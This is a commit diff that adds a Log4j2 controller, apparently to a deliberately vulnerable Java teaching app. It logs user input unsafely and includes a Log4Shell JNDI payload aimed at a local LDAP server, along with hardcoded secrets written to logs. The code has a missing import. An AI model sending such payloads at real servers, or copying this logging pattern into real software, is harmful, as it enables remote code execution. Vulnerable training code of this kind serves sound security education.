Create Log4j2

Author: wangwangping

src/main/java/org/joychou/controller/Log4j2

@@ -0,0 +1,36 @@
+
+package org.joychou.controller;
+
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class Log4j2 {
+
+    private static final Logger logger = LogManager.getLogger("Log4j2");
+
+    /**
+     * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
+     * Default: error/fatal/off
+     * Fix: Update log4j to lastet version.
+     */
+    @RequestMapping(value = "/log4j")
+    public String log4j(String token) {
+        String password = "Pass@0rd";
+        logger.info("User password is " + password);  
+        String privateKey = "parivate";
+        logger.info("paramaters is {}", new Object[]{privateKey});
+        if(StringUtils.isNotBlank(privateKey)) {
+            logger.error("something wrong, token: {}, privateKey: {}", token, privateKey);
+        }
+        return token;
+    }
+
+    public static void main(String[] args) {
+        String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}";
+        logger.info(poc);
+    }
+
+}